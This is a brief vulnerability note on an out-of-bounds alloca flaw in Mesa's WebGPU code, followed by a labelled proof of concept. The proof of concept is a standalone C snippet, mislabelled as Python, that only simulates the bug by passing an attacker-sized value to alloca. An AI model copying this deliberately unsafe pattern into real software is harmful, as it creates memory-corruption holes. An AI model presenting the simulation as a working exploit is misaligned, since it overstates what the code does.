In Mesa before 25.3.6 and 26 before 26.0.1, out-of-bounds memory access can occur in WebGPU because the amount of to-be-allocated data depends on an untrusted party, and is then used for alloca.
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
// Simulated vulnerable function in Mesa WebGPU
void vulnerable_webgpu_handler(unsigned int untrusted_size) {
// FLAW: The size is controlled by an untrusted party (attacker)
// and used directly in alloca(), causing stack overflow/OOB.
// If untrusted_size is very large, it crashes or overwrites stack.
char *buffer = (char *)alloca(untrusted_size);
// Use the buffer...
for(int i = 0; i < untrusted_size; i++) {
buffer[i] = 'A';
}
}
int main() {
printf("PoC for CVE-2026-40393: Mesa WebGPU OOB via alloca\n");
// Simulate sending a malicious large size from an untrusted web context
unsigned int malicious_size = 0xFFFFFFFF;
// Or a size specifically crafted to jump over guard pages
vulnerable_webgpu_handler(malicious_size);
return 0;
}